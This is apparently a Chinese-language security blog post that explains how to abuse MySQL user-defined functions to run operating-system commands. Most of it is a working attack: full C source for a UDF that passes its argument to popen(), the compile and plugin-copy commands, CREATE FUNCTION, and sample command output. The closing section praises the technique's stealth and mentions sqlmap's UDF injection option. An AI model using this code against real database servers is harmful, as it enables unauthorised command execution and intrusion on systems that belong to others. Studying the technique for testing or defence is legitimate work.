Dec 14 2023 Off MySQL UDF 简介 MySQL UDF (User Defined Function) 是一种可以扩展 MySQL 功能的机制,通过编写 C 或 C++ 代码,可以创建自定义的函数,甚至执行系统命令。要利用 MySQL UDF 执行系统命令,需要满足以下三个条件:拥有 MySQL 的 root 权限,可以创建和删除函数拥有 MySQL 服务的文件权限,可以将 UDF 文件写到 MySQL 插件目录UDF 文件是针对目标系统的平台和架构编译的,否则会出现错误 编写代码 在上文提到,利用 UDF 执行系统命令需要针对目标系统的平台和架构编译,比如目标 MySQL 服务器为 Windows 系统则需要 UDF 文件后缀为 .dll,Linux 系统则需要 UDF 文件后缀为 .so。本次选择以 Kali Linux 系统为例,编译代码前首先需要安装开发库,Kali Linux 安装命令为: ┌──(root㉿kali)-[~] └─# apt install libmariadb-dev 如果是 Centos 系统,可以使用如下命令安装开发库: sudo yum install mysql-devel 安装开发库完毕后,创建 udf.so 文件并编写代码如下: // 引入MySQL的头文件 #include <mysql.h> // 引入标准输入输出的头文件 #include <stdio.h> #include <string.h> // 引入标准库的头文件 #include <stdlib.h> // 定义一个外部的C函数,避免C++的名称修饰 extern "C" { // 定义UDF的主函数,返回一个字符串 char *mycmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error); // 定义UDF的初始化函数,返回一个布尔型 my_bool mycmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message); // 定义UDF的结束函数,返回一个空类型 void mycmd_deinit(UDF_INIT *initid); } // 实现UDF的主函数 char *mycmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) { // 从args中获取一个参数,转换为字符串 char *cmd = args->args[0]; // 定义一个文件指针,用于存储命令的输出 FILE *fp; // 定义一个字符数组,用于存储命令的结果 char buffer[256]; // 使用popen函数执行命令,将输出存储到fp中 fp = popen(cmd, "r"); // 如果fp为空,表示命令执行失败,返回NULL if (fp == NULL) { *is_null = 1; return NULL; } // 使用fgets函数从fp中读取一行数据,存储到buffer中 fgets(buffer, sizeof(buffer), fp); // 使用pclose函数关闭fp pclose(fp); // 将buffer的内容复制到result中 strcpy(result, buffer); // 获取result的长度,赋值给length *length = strlen(result); // 返回result return result; } // 实现UDF的初始化函数 my_bool mycmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { // 检查参数的个数是否为1,否则报错 if (args->arg_count != 1) { strcpy(message, "mycmd() requires one argument"); return 1; } // 检查参数的类型是否为字符串,否则报错 if (args->arg_type[0] != STRING_RESULT) { strcpy(message, "mycmd() requires string argument"); return 1; } // 返回0表示成功 return 0; } // 实现UDF的结束函数 void mycmd_deinit(UDF_INIT *initid) { // 释放initid中的内存 free(initid->ptr); } 然后使用以下命令将其编译成动态链接库: ┌──(root㉿kali)-[~] └─# g++ -shared -fPIC -I /usr/include/mariadb -o udf.so udf.c 其中,/usr/include/mariadb是指数据库头文件安装的所在目录,需要按照实际目录更改,可以使用以下命令查找: sudo find / -name mysql.h 然后需要将生成的 udf.so 文件复制到 MySQL 的插件目录: ┌──(root㉿kali)-[~] └─# cp udf.so /usr/lib/mysql/plugin 最后,我们在 MySQL 中创建函数: MariaDB [(none)]> CREATE FUNCTION mycmd RETURNS STRING SONAME 'udf.so'; Query OK, 0 rows affected (0.001 sec) 查询添加的函数是否成功: MariaDB [(none)]> SELECT * FROM mysql.func; +-------+-----+--------+----------+ | name | ret | dl | type | +-------+-----+--------+----------+ | mycmd | 0 | udf.so | function | +-------+-----+--------+----------+ 1 row inset (0.008 sec) 命令执行 现在就可以通过在 MySQL 中调用函数以执行系统命令: MariaDB [(none)]> SELECT mycmd('whoami'); +-----------------+ | mycmd('whoami') | +-----------------+ | mysql | +-----------------+ 1 row inset (0.003 sec) MariaDB [(none)]> SELECT mycmd('pwd'); +-----------------+ | mycmd('pwd') | +-----------------+ | /var/lib/mysql | +-----------------+ 1 row inset (0.001 sec) 小结 因为 UDF 是运行在可信执行环境(MySQL)中,所以具有一定的隐蔽性,在操作系统中并不会新建进程。现在也有诸多可利用工具进行利用,如 sqlmap 的 --udf-inject 选项,其 UDF 文件存储在 /usr/share/sqlmap/data/udf 目录下: Post navigation Previous PostPrevious 编写恶意CHMNext PostNext Burp Suite 插件开发(一)